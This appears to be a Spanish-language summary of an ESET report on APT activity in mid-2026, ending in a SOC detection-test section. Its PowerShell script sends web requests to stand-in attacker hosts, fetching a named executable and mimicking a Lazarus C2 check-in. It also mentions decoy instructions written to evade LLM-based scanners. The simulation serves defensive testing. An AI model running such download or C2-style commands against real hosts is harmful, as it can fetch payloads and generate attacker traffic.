Informe de Actividad APT de ESET Q2–Q3 2026: Campañas y Tendencias Clave

Resumen

Este informe esboza una amplia gama de actividades APT observadas entre abril y septiembre de 2026. Las tendencias clave incluyen grupos alineados con China que apuntan a organizaciones gubernamentales y de semiconductores, actividad renovada de actores alineados con Irán como OilRig, y campañas norcoreanas centradas en la tecnología y la criptomoneda. El informe también señala una creciente coordinación operativa entre grupos alineados con Rusia y Bielorrusia, particularmente contra objetivos en Ucrania.

Investigación

Los investigadores de ESET analizaron telemetría para rastrear múltiples clusters de actores de amenazas en diferentes regiones. La investigación incluyó la identificación de nuevas familias de malware, el examen de compromisos en la cadena de suministro de software y el monitoreo de la adopción de herramientas de IA en los flujos de trabajo de los adversarios. Los investigadores también analizaron patrones en infraestructura, desarrollo de herramientas y cambios en el comportamiento de los objetivos.

Mitigación

Las organizaciones deben fortalecer la seguridad de la cadena de suministro de software y monitorear las campañas de ingeniería social con temas de reclutamiento. Proteger los servidores de correo MDaemon contra la explotación y asegurar los dispositivos Android de spyware basado en suplantación también son importantes. Los equipos de seguridad deben considerar, además, las técnicas de ofuscación generadas por IA al analizar scripts y cargas sospechosas.

Respuesta

Cuando se detecta actividad sospechosa, las organizaciones deben llevar a cabo un análisis forense detallado de scripts, repositorios y software afectado. Los respondedores de incidentes deben considerar técnicas de ofuscación impulsadas por IA, incluidas las instrucciones señuelo diseñadas para evadir escáneres basados en LLM. Los compromisos potenciales en la cadena de suministro deben ser contenidos e investigados inmediatamente para prevenir más robos de credenciales y acceso no autorizado.

Ejecución de Simulación

• Narrativa del Ataque & Comandos: El atacante simulado pretende imitar los indicadores conocidos de Turla y del Grupo Lazarus para probar si el SOC puede detectar cadenas específicas y codificadas de forma estática. Primero, el atacante simula una solicitud de carga útil al estilo Turla al intentar acceder a una URL que contiene la cadena específica «Turla’s VBScript Rezzuar». Segundo, el atacante simula un callback de phishing temático de reclutamiento del Grupo Lazarus enviando una solicitud HTTP con una cadena de User-Agent altamente personalizada: «Lazarus Group Recruitment». Esto imita el comportamiento de un sistema comprometido comunicándose con un C2 o una página de aterrizaje de phishing especializada.

• Script de Prueba de Regresión:

  # Simulación de TTP de Turla (coincidencia de URL)
  Write-Host "[+] Simulando Indicador de URL de Turla..."
  Invoke-WebRequest -Uri "http://malicious-site.com/downloads/Turla's VBScript Rezzuar.exe" -UserAgent "Mozilla/5.0"
  
  # Simulación de TTP de Lazarus (coincidencia de User-Agent)
  Write-Host "[+] Simulando Indicador de User-Agent de Lazarus..."
  Invoke-WebRequest -Uri "http://lazarus-c2.net/login" -UserAgent "Lazarus Group Recruitment"

• Comandos de Limpieza:

  # No se crean artefactos persistentes por la simulación ya que utiliza solicitudes web solo en memoria.
  Write-Host "[+] Simulación completa. No se requiere limpieza."